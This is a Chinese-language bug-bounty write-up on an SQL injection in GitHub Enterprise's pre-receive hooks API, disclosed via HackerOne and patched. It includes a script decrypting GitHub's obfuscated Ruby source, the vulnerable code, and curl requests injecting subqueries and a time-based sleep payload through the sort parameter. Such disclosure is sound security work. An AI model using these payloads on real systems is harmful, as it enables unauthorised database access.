看我如何發現Github企業版程式SQL隱碼攻擊漏洞並獲得5000美刀賞金
GitHub企業版軟體是專供公司團體用來部署在內網進行開發服務的商業性應用程式。Github企業版採用標準OVF格式整合,以虛擬機器(VM)映象方式釋出,可以在enterprise.github.com 網站註冊下載45天試用版本,並把其部署在任何虛擬機器環境中。通過下載其試用版本軟體進行分析,我花了一週時間,發現了其中存在的SQL隱碼攻擊漏洞,並獲得了5000美元漏洞賞金。
Github企業版VM環境安裝之後的效果如下:
現在,Github搭建完成,接下來就可以在虛擬機器系統內進行深入分析。
環境安全性分析
用Nmap發現有6個開啟埠:
$ nmap -sT -vv -p 1-65535 192.168.187.145 ... PORT STATE SERVICE 22/tcp open ssh 25/tcp closed smtp 80/tcp open http 122/tcp open smakynet 443/tcp open https 8080/tcp closed http-proxy 8443/tcp open https-alt 9418/tcp open git
這些埠用途初步分析為:
埠22/tcp和9418/tcp可能用於程式haproxy轉發後端服務babeld;
埠80/tcp和443/tcp用於Github主要服務;
埠122/tcp用於SSH服務;
埠8443/tcp用於GitHub的管理控制檯服務。
由於GitHub的管理控制檯需要密碼才能實現登入,所以你可以設定密碼並通過122埠的SSH服務連線VM環境,SSH連線進入系統之後,檢查系統資訊發現,幾乎所有的Github服務程式碼都位於目錄/data/下:
# ls -al /data/ total 92 drwxr-xr-x 23 root root 4096 Nov 29 12:54 . drwxr-xr-x 27 root root 4096 Dec 28 19:18 .. drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload drwxr-xr-x 2 root root 4096 Nov 29 12:54 db drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks drwxr-xr-x 4 git git 4096 Nov 29 12:53 github drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua drwxr-xr-x 4 git git 4096 Nov 29 12:54 render lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord drwxr-xr-x 20 root root 4096 Dec 28 19:22 user
檢視其中的檔案原始碼,貌似是base64加密的:
GitHub使用了一個自定義的庫來加密混淆自身原始碼。如果你在谷歌搜尋ruby_concealer.so,你會發現一個牛人已經對這種加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替換rb_f_eval即可實現解密。但我們還是實際動手來看看,開啟IDA Pro分析一下:
你可以發現,其源程式使用了類Zlib::Inflate::inflate進行資料解壓縮,並使用了一段明文KEY作為異或(XOR)操作,然而,讓人搞笑的是,這段明文KEY竟然是這樣的:
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this ’encryption’ is easily broken. (我們清楚該加密很容易被破解,但其目的在於防止GitHub企業版使用者隨意對VM環境進行修改)
哎呀,讓人哭笑不得….
有了這些,我們就可以自己構造解密指令碼了:
require 'zlib' key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. " def decrypt(s) i, plaintext = 0, '' Zlib::Inflate.inflate(s).each_byte do |c| plaintext << (c ^ key[i%key.length].ord).chr i += 1 end plaintext end content = File.open(ARGV[0], "r").read content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt " plaintext = eval content puts plaintext
程式碼分析
實現程式原始碼解密之後,讓我們嘗試著進行程式碼審計:
$ cloc /data/ 81267 text files. 47503 unique files. 24550 files ignored. http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s) ----------------------------------------------------------------------------------- Language files blank comment code ----------------------------------------------------------------------------------- Ruby 25854 359545 437125 1838503 Javascript 4351 109994 105296 881416 YAML 600 1349 3214 289039 Python 1108 44862 64025 180400 XML 121 6492 3223 125556 C 444 30903 23966 123938 Bourne Shell 852 14490 16417 87477 HTML 636 24760 2001 82526 C++ 184 8370 8890 79139 C/C++ Header 428 11679 22773 72226 Java 198 6665 14303 45187 CSS 458 4641 3092 44813 Bourne Again Shell 142 6196 9006 35106 m4 21 3259 369 29433 ...
$ ./bin/rake about About your application's environment Ruby version 2.1.7 (x86_64-linux) RubyGems version 2.2.5 Rack version 1.6.4 Rails version 3.2.22.4 JavaScript Runtime Node.js (V8) Active Record version 3.2.22.4 Action Pack version 3.2.22.4 Action Mailer version 3.2.22.4 Active Support version 3.2.22.4 Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /data/github/9fcdcc8 Environment production Database adapter githubmysql2 Database schema version 20161003225024
從以上分析可以看出大部分為Ruby程式碼,而且可以發現:
程式通過埠80和443遠端連線github.com、gist.github.com和api.github.com在目錄/data/github/下更新程式碼庫;
目錄/data/render/可能為render.githubusercontent.com程式碼庫;
程式通過8443埠執行目錄/data/enterprise-manage/下服務。
漏洞分析
雖然我對Ruby不太熟悉,但經過現學現用,我花了一週的時間發現了這個漏洞,以下我的分析工作日程:
第一天 設定Github虛擬機器環境
第二天 設定Github虛擬機器環境
第三天 學習Rails進行程式碼審計
第四天 學習Rails進行程式碼審計
第五天 學習Rails進行程式碼審計
第六天 哦也,找到了一個SQL隱碼攻擊漏洞
這個SQL隱碼攻擊漏洞存在於GitHub企業版程式的PreReceiveHookTarget模組中,其根本原因在於/data/github/current/app/model/pre_receive_hook_target.rb檔案的第45行:
33 scope :sorted_by, -> (order, direction = nil) { 34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC" 35 select(<<-SQL) 36 #{table_name}.*, 37 CASE hookable_type 38 WHEN 'global' THEN 0 39 WHEN 'User' THEN 1 40 WHEN 'Repository' THEN 2 41 END AS priority 42 SQL 43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id") 44 .readonly(false) 45 .order([order, direction].join(" ")) 46 }
雖然Rails中內建的物件關係對映ActiveRecord in Rails本身不允許SQL隱碼攻擊操作,但一些ActiveRecord的誤用例項同樣會引起SQL隱碼攻擊。具體可參考學習Rails-sqli.org。在該漏洞情況中,我們可以控制order方法的引數實現惡意程式碼注入。跟蹤觀察發現,服務sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb檔案的第61行呼叫:
10 get "/organizations/:organization_id/pre-receive-hooks" do 11 control_access :list_org_pre_receive_hooks, rg => org = find_org! 12 @documentation_url << "#list-pre-receive-hooks" 13 targets = PreReceiveHookTarget.visible_for_hookable(org) 14 targets = sort(targets).paginate(pagination) 15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets 16 deliver :pre_receive_org_target_hash, targets 17 end ... 60 def sort(scope) 61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc") 62 end
可以清楚地看到params[:sort]被傳遞給了scope.sorted_by,所以我們可以嘗試著向params[:sort]注入惡意程式碼。
在觸發該漏洞之前,接入API需要admin:pre_receive_hook函式具備一個有效的access_token值,高興的是,我們可以通過以下命令來獲取:
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \ -d '{"scopes":"admin:pre_receive_hook","note":"x"}' { "id": 4, "url": "https://192.168.187.145/api/v3/authorizations/4", "app": { "name": "x", "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/", "client_id": "00000000000000000000" }, "token": "????????", "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4", "token_last_eight": "1fadac36", "note": "x", "note_url": null, "created_at": "2017-01-05T22:17:32Z", "updated_at": "2017-01-05T22:17:32Z", "scopes": [ "admin:pre_receive_hook" ], "fingerprint": null }
一旦獲取到有效的access_token值之後,漏洞就會被觸發:
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)' [ ] $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)' { "message": "Server Error", "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks" } $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user()) { ... }
漏洞報送程式
2016/12/26 05:48 通過HackerOne把該漏洞報送給GitHub
2016/12/26 08:39 GitHub給出反饋,表示已通過驗證並正在修復;
2016/12/26 15:48 提供給GitHub更多漏洞細節;
2016/12/28 02:44 GitHub反饋表示,漏洞補丁將隨GitHub企業版後續更新釋出;
2017/01/04 06:41 GitHub回覆將給我5000美刀賞金;
2017/01/05 02:37 資詢GitHub,是否介意我將此漏洞公開在個人部落格;
2017/01/05 03:06 GitHub很爽快地表示,沒問題!
2017/01/05 07:06 GitHub Enterprise 2.8.5釋出!
如果你對該漏洞感興趣,可以自己部署Github企業版系統環境進行深入分析。
相關文章
- Nacos Derby SQL隱碼攻擊漏洞SQL
- 如何做好防護SQL隱碼攻擊漏洞SQL
- Rails 3爆SQL隱碼攻擊漏洞AISQL
- Mura CMS processAsyncObject SQL隱碼攻擊漏洞ObjectSQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!SQL
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?SQL
- PHP常見漏洞(1)–SQL隱碼攻擊PHPSQL
- Mybatis如何防止SQL隱碼攻擊MyBatisSQL
- SQL隱碼攻擊SQL
- 安全漏洞問題6:SQL隱碼攻擊SQL
- WordPress SQL隱碼攻擊漏洞與提權分析SQL
- 修復SQL隱碼攻擊漏洞 兩種方法SQL
- SQL隱碼攻擊漏洞測試工具比較SQL
- 【SQL Server】--SQL隱碼攻擊SQLServer
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改SQL
- SQL隱碼攻擊及如何解決SQL
- MYSQL SQL隱碼攻擊MySql
- 【SQL隱碼攻擊原理】SQL
- 防止SQL隱碼攻擊SQL
- SQL隱碼攻擊(一)SQL
- SQL隱碼攻擊(pikachu)SQL
- SQL隱碼攻擊方法SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊SQL
- 刪除SQL隱碼攻擊的程式碼SQL
- Joomla CMS 3.2-3.4.4 SQL隱碼攻擊 漏洞分析OOMSQL
- (轉)Discuz!X2.0SQL隱碼攻擊漏洞EXPSQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數SQL變數
- web安全作業(SQL隱碼攻擊1)WebSQL
- web安全作業(SQL隱碼攻擊2)WebSQL
- 發現Google Home智慧音響竊聽漏洞,安全研究員獲得107500美元漏洞賞金Go
- QNAP升級漏洞可致攻擊者獲得管理員許可權並注入惡意程式碼
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型SQL模型
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換SQL資料型別
- SQL隱碼攻擊式攻擊掃描器SQL
- SQL隱碼攻擊原理及程式碼分析(一)SQL
- SQL隱碼攻擊原理及程式碼分析(二)SQL